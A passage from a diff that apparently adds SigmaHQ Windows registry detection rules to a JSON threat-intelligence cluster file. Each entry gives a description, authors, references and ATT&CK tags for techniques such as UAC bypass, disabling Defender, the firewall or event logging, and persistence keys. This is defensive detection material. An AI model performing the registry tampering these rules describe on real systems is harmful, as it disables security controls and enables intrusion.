%windir%\\system32\\cleanmgr.exe This can be abused to elevate any file with Administrator privileges without prompting UAC", + "meta": { + "author": "frack113", + "creation_date": "2022/01/06", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_bypass_uac_using_silentcleanup_task.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-9---bypass-uac-using-silentcleanup-task", + "https://www.reddit.com/r/hacking/comments/ajtrws/bypassing_highest_uac_level_windows_810/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_silentcleanup_task.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "724ea201-6514-4f38-9739-e5973c34f49a", + "value": "Bypass UAC Using SilentCleanup Task" + }, + { + "description": "Remote desktop is a common feature in operating systems.\nIt allows a user to log into an interactive session with a system desktop graphical user interface on a remote system.\nMicrosoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).\n", + "meta": { + "author": "frack113", + "creation_date": "2022/01/01", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_change_rdp_port.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#atomic-test-1---rdp-to-domaincontroller", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_rdp_port.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1547.010" + ] + }, + "uuid": "509e84b9-a71a-40e0-834f-05470369bd1e", + "value": "Changing RDP Port to Non Standard Number" + }, + { + "description": "Hides the file extension through modification of the registry", + "meta": { + "author": "frack113", + "creation_date": "2022/01/22", + "falsepositive": [ + "Administrative scripts" + ], + "filename": "registry_set_change_security_zones.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone", + "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ] + }, + "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393", + "value": "IE Change Domain Zone" + }, + { + "description": "Detects changes in Sysmon driver altitude. If the Sysmon driver is configured to load at an altitude of another registered service, it will fail to load at boot.", + "meta": { + "author": "B.Talebi", + "creation_date": "2022/07/28", + "falsepositive": [ + "Legitimate driver altitude change to hide sysmon" + ], + "filename": "registry_set_change_sysmon_driver_altitude.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://posts.specterops.io/shhmon-silencing-sysmon-via-driver-unload-682b5be57650", + "https://youtu.be/zSihR3lTf7g", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_sysmon_driver_altitude.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "4916a35e-bfc4-47d0-8e25-a003d7067061", + "value": "Disable Sysmon Event Logging Via Registry" + }, + { + "description": "Detects tampering with the \"ChannelAccess\" registry key in order to change access to windows event channel", + "meta": { + "author": "frack113", + "creation_date": "2022/09/17", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_change_winevt_channelaccess.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/", + "https://learn.microsoft.com/en-us/windows/win32/api/winevt/", + "https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": "7d9263bd-dc47-4a58-bc92-5474abab390c", + "value": "Change Winevt Event Access Permission Via Registry" + }, + { + "description": "Detects when an attacker modifies the registry key \"HtmlHelp Author\" to achieve persistence", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/07/21", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_chm_persistence.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://persistence-info.github.io/Data/htmlhelpauthor.html", + "https://www.hexacorn.com/blog/2018/04/22/beyond-good-ol-run-key-part-76/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chm_persistence.yml" + ], + "tags": [ + "attack.persistence" + ] + }, + "uuid": "976dd1f2-a484-45ec-aa1d-0e87e882262b", + "value": "CHM Helper DLL Persistence" + }, + { + "description": "Running Chrome VPN Extensions via the Registry install 2 vpn extension", + "meta": { + "author": "frack113", + "creation_date": "2021/12/28", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_chrome_extension.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1133" + ] + }, + "uuid": "b64a026b-8deb-4c1d-92fd-98893209dff1", + "value": "Running Chrome VPN Extensions via the Registry 2 VPN Extension" + }, + { + "description": "Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement.\nWe can also catch this by system log 7045 (https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/win_cobaltstrike_service_installs.yml)\nIn some SIEM you can catch those events also in HKLM\\System\\ControlSet001\\Services or HKLM\\System\\ControlSet002\\Services, however, this rule is based on a regular sysmon's events.\n", + "meta": { + "author": "Wojciech Lesicki", + "creation_date": "2021/06/29", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_cobaltstrike_service_installs.yml", + "level": "critical", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.sans.org/webcasts/tech-tuesday-workshop-cobalt-strike-detection-log-analysis-119395", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cobaltstrike_service_installs.yml" + ], + "tags": [ + "attack.execution", + "attack.privilege_escalation", + "attack.lateral_movement", + "attack.t1021.002", + "attack.t1543.003", + "attack.t1569.002" + ] + }, + "uuid": "61a7697c-cb79-42a8-a2ff-5f0cdfae0130", + "value": "CobaltStrike Service Installations in Registry" + }, + { + "description": "Detects changes to 'HKCU\\Software\\Classes\\Folder\\shell\\open\\command\\DelegateExecute'", + "meta": { + "author": "Omkar Gudhate", + "creation_date": "2020/09/27", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_comhijack_sdclt.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "http://blog.sevagas.com/?Yet-another-sdclt-UAC-bypass", + "https://www.exploit-db.com/exploits/47696", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_comhijack_sdclt.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1546", + "attack.t1548" + ] + }, + "uuid": "07743f65-7ec9-404a-a519-913db7118a8d", + "value": "COM Hijack via Sdclt" + }, + { + "description": "Detects disabling the CrashDump per registry (as used by HermeticWiper)", + "meta": { + "author": "Tobias Michalski", + "creation_date": "2022/02/24", + "falsepositive": [ + "Legitimate disabling of crashdumps" + ], + "filename": "registry_set_crashdump_disabled.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_crashdump_disabled.yml" + ], + "tags": [ + "attack.t1564", + "attack.t1112" + ] + }, + "uuid": "2ff692c2-4594-41ec-8fcb-46587de769e0", + "value": "CrashControl CrashDump Disabled" + }, + { + "description": "Detect the creation of a service with a service binary located in a suspicious directory", + "meta": { + "author": "Florian Roth, frack113", + "creation_date": "2022/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_creation_service_susp_folder.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_susp_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "a07f0359-4c90-4dc4-a681-8ffea40b4f47", + "value": "Service Binary in Suspicious Folder" + }, + { + "description": "Detect the creation of a service with a service binary located in a uncommon directory", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/05/02", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_creation_service_uncommon_folder.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_creation_service_uncommon_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "277dc340-0540-42e7-8efb-5ff460045e07", + "value": "Service Binary in Uncommon Folder" + }, + { + "description": "Detects the abuse of custom file open handler, executing powershell", + "meta": { + "author": "CD_R0M_", + "creation_date": "2022/06/11", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_custom_file_open_handler_powershell_execution.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://news.sophos.com/en-us/2022/02/01/solarmarker-campaign-used-novel-registry-changes-to-establish-persistence/?cmp=30728", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_custom_file_open_handler_powershell_execution.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ] + }, + "uuid": "7530b96f-ad8e-431d-a04d-ac85cc461fdc", + "value": "Custom File Open Handler Executes PowerShell" + }, + { + "description": "Detects a new and suspicious printer port creation in Registry that could be an attempt to exploit CVE-2020-1048", + "meta": { + "author": "EagleEye Team, Florian Roth, NVISO", + "creation_date": "2020/05/13", + "falsepositive": [ + "New printer port install on host" + ], + "filename": "registry_set_cve_2020_1048_new_printer_port.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://windows-internals.com/printdemon-cve-2020-1048/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2020_1048_new_printer_port.yml" + ], + "tags": [ + "attack.persistence", + "attack.execution", + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "7ec912f2-5175-4868-b811-ec13ad0f8567", + "value": "Suspicious New Printer Ports in Registry (CVE-2020-1048)" + }, + { + "description": "Detects patterns as noticed in exploitation of Windows CVE-2021-31979 CVE-2021-33771 vulnerability and DevilsTongue malware by threat group Sourgum", + "meta": { + "author": "Sittikorn S, frack113", + "creation_date": "2021/07/16", + "falsepositive": [ + "Unlikely" + ], + "filename": "registry_set_cve_2021_31979_cve_2021_33771_exploits.yml", + "level": "critical", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", + "https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2021_31979_cve_2021_33771_exploits.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1566", + "attack.t1203", + "cve.2021.33771", + "cve.2021.31979" + ] + }, + "uuid": "32b5db62-cb5f-4266-9639-0fa48376ac00", + "value": "CVE-2021-31979 CVE-2021-33771 Exploits" + }, + { + "description": "Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.", + "meta": { + "author": "Sittikorn S", + "creation_date": "2020/05/31", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_cve_2022_30190_msdt_follina.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190", + "https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_cve_2022_30190_msdt_follina.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1221" + ] + }, + "uuid": "2d9403d5-7927-46b7-8216-37ab7c9ec5e3", + "value": "Suspicious Set Value of MSDT in Registry (CVE-2022-30190)" + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"DbgManagedDebugger\" key in order to achieve persistence which will get invoked when an application crashes", + "meta": { + "author": "frack113", + "creation_date": "2022/08/07", + "falsepositive": [ + "Legitimate use of the key to setup a debugger. Which is often the case on developers machines" + ], + "filename": "registry_set_dbgmanageddebugger_persistence.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.hexacorn.com/blog/2013/09/19/beyond-good-ol-run-key-part-4/", + "https://github.com/last-byte/PersistenceSniper", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dbgmanageddebugger_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1574" + ] + }, + "uuid": "9827ae57-3802-418f-994b-d5ecf5cd974b", + "value": "Add Debugger Entry To DbgManagedDebugger For Persistence" + }, + { + "description": "Detects the Setting of Windows Defender Exclusions", + "meta": { + "author": "Christian Burkard", + "creation_date": "2021/07/06", + "falsepositive": [ + "Administrator actions" + ], + "filename": "registry_set_defender_exclusions.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/_nullbind/status/1204923340810543109", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_defender_exclusions.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "a982fc9c-6333-4ffb-a51d-addb04e8b529", + "value": "Windows Defender Exclusions Added" + }, + { + "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)", + "meta": { + "author": "Dimitrios Slamaris", + "creation_date": "2017/05/15", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_dhcp_calloutdll.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html", + "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx", + "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002", + "attack.t1112" + ] + }, + "uuid": "9d3436ef-9476-4c43-acca-90ce06bdf33a", + "value": "DHCP Callout DLL Installation" + }, + { + "description": "Detects disabling Windows Defender Exploit Guard Network Protection", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/04", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "bf9e1387-b040-4393-9851-1598f8ecfae9", + "value": "Disable Exploit Guard Network Protection on Windows Defender" + }, + { + "description": "Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections", + "meta": { + "author": "Florian Roth", + "creation_date": "2022/07/04", + "falsepositive": [ + "Other Antivirus software installations could cause Windows to disable that eventlog (unknown)" + ], + "filename": "registry_set_disabled_microsoft_defender_eventlog.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/WhichbufferArda/status/1543900539280293889/photo/2", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_microsoft_defender_eventlog.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "fcddca7c-b9c0-4ddf-98da-e1e2d18b0157", + "value": "Disabled Windows Defender Eventlog" + }, + { + "description": "Detects disabling Windows Defender PUA protection", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/04", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disabled_pua_protection_on_microsoft_defender.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.tenforums.com/tutorials/32236-enable-disable-microsoft-defender-pua-protection-windows-10-a.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_pua_protection_on_microsoft_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "8ffc5407-52e3-478f-9596-0a7371eafe13", + "value": "Disable PUA Protection on Windows Defender" + }, + { + "description": "Detects disabling Windows Defender Tamper Protection", + "meta": { + "author": "Austin Songer @austinsonger", + "creation_date": "2021/08/04", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disabled_tamper_protection_on_microsoft_defender.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.tenforums.com/tutorials/123792-turn-off-tamper-protection-microsoft-defender-antivirus.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_tamper_protection_on_microsoft_defender.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "93d298a1-d28f-47f1-a468-d971e7796679", + "value": "Disable Tamper Protection on Windows Defender" + }, + { + "description": "Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system", + "meta": { + "author": "frack113", + "creation_date": "2022/01/16", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_administrative_share.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md#atomic-test-4---disable-administrative-share-creation-at-startup", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_administrative_share.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.005" + ] + }, + "uuid": "c7dcacd0-cc59-4004-b0a4-1d6cdebe6f3e", + "value": "Disable Administrative Share Creation at Startup" + }, + { + "description": "Detects tampering of autologger trace sessions which is a technique used by attackers to disable logging", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_autologger_sessions.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/MichalKoczwara/status/1553634816016498688", + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_autologger_sessions.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "f37b4bce-49d0-4087-9f5b-58bffda77316", + "value": "AutoLogger Sessions Tamper" + }, + { + "description": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage", + "meta": { + "author": "frack113", + "creation_date": "2022/01/09", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_defender_firewall.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-2---disable-microsoft-defender-firewall-via-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_defender_firewall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "974515da-6cc5-4c95-ae65-f97f9150ec7f", + "value": "Disable Microsoft Defender Firewall via Registry" + }, + { + "description": "Detects registry modifications that change features of internal Windows tools (malware like Agent Tesla uses this technique)", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/03/18", + "falsepositive": [ + "Legitimate admin script" + ], + "filename": "registry_set_disable_function_user.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md", + "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_function_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "e2482f8d-3443-4237-b906-cc145d87a076", + "value": "Disable Internal Tools or Feature in Registry" + }, + { + "description": "Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros", + "meta": { + "author": "Nasreddine Bencherchali", + "creation_date": "2022/10/25", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_macroruntimescanscope.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://www.microsoft.com/en-us/security/blog/2018/09/12/office-vba-amsi-parting-the-veil-on-malicious-macros/", + "https://admx.help/?Category=Office2016&Policy=office16.Office.Microsoft.Policies.Windows::L_MacroRuntimeScanScope", + "https://github.com/S3cur3Th1sSh1t/OffensiveVBA/blob/28cc6a2802d8176195ac19b3c8e9a749009a82a3/src/AMSIbypasses.vba", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_macroruntimescanscope.yml" + ], + "tags": [ + "attack.defense_evasion" + ] + }, + "uuid": "ab871450-37dc-4a3a-997f-6662aa8ae0f1", + "value": "Disable Macro Runtime Scan Scope" + }, + { + "description": "Disable Microsoft Office Security Features by registry", + "meta": { + "author": "frack113", + "creation_date": "2021/06/08", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_microsoft_office_security_features.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", + "https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/", + "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_microsoft_office_security_features.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "7c637634-c95d-4bbf-b26c-a82510874b34", + "value": "Disable Microsoft Office Security Features" + }, + { + "description": "Detects registry modifications that disable Privacy Settings Experience", + "meta": { + "author": "frack113", + "creation_date": "2022/10/02", + "falsepositive": [ + "Legitimate admin script" + ], + "filename": "registry_set_disable_privacy_settings_experience.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1562.001/T1562.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_privacy_settings_experience.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "0372e1f9-0fd2-40f7-be1b-a7b2b848fa7b", + "value": "Disable Privacy Settings Experience in Registry" + }, + { + "description": "Detect set UseActionCenterExperience to 0 to disable the windows security center notification", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_security_center_notifications.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_security_center_notifications.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ] + }, + "uuid": "3ae1a046-f7db-439d-b7ce-b8b366b81fa6", + "value": "Disable Windows Security Center Notifications" + }, + { + "description": "Detects the modification of the registry to disable a system restore on the computer", + "meta": { + "author": "frack113", + "creation_date": "2022/04/04", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_system_restore.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ] + }, + "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83", + "value": "Registry Disable System Restore" + }, + { + "description": "Detects when an attacker tries to disable User Account Control (UAC) by changing its registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA from 1 to 0", + "meta": { + "author": "frack113", + "creation_date": "2022/01/05", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_uac_registry.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-8---disable-uac-using-regexe", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_uac_registry.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ] + }, + "uuid": "48437c39-9e5f-47fb-af95-3d663c3f2919", + "value": "Disable UAC Using Registry" + }, + { + "description": "Detects when an attacker or tool disables the Windows Defender service (WinDefend) via the registry", + "meta": { + "author": "Ján Trenčanský, frack113, AlertIQ, Nasreddine Bencherchali", + "creation_date": "2022/08/01", + "falsepositive": [ + "Administrator actions" + ], + "filename": "registry_set_disable_windows_defender_service.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/", + "https://gist.github.com/anadr/7465a9fde63d41341136949f14c21105", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_defender_service.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ] + }, + "uuid": "e1aa95de-610a-427d-b9e7-9b46cfafbe6a", + "value": "Windows Defender Service Disabled" + }, + { + "description": "Detect set EnableFirewall to 0 to disable the windows firewall", + "meta": { + "author": "frack113", + "creation_date": "2022/08/19", + "falsepositive": [ + "Unknown" + ], + "filename": "registry_set_disable_windows_firewall.yml", + "level": "medium", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.004/T1562.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_windows_firewall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.004" + ] + }, + "uuid": "e78c408a-e2ea-43cd-b5ea-51975cf358c0", + "value": "Disable Windows Firewall by Registry" + }, + { + "description": "Detects tampering with the \"Enabled\" registry key in order to disable windows logging of a windows event channel", + "meta": { + "author": "frack113, Nasreddine Bencherchali", + "creation_date": "2022/07/04", + "falsepositive": [ + "Legitimate administrators disabling specific event log for troubleshooting" + ], + "filename": "registry_set_disable_winevt_logging.yml", + "level": "high", + "logsource.category": "registry_set", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/WhichbufferArda/status/1543900539280293889", + "https://github.com/DebugPrivilege/CPP/blob/c39d365617dbfbcb01fffad200d52b6239b2918c/Windows%20Defender/RestoreDefenderConfig.cpp", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_winevt_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ] + }, + "uuid": 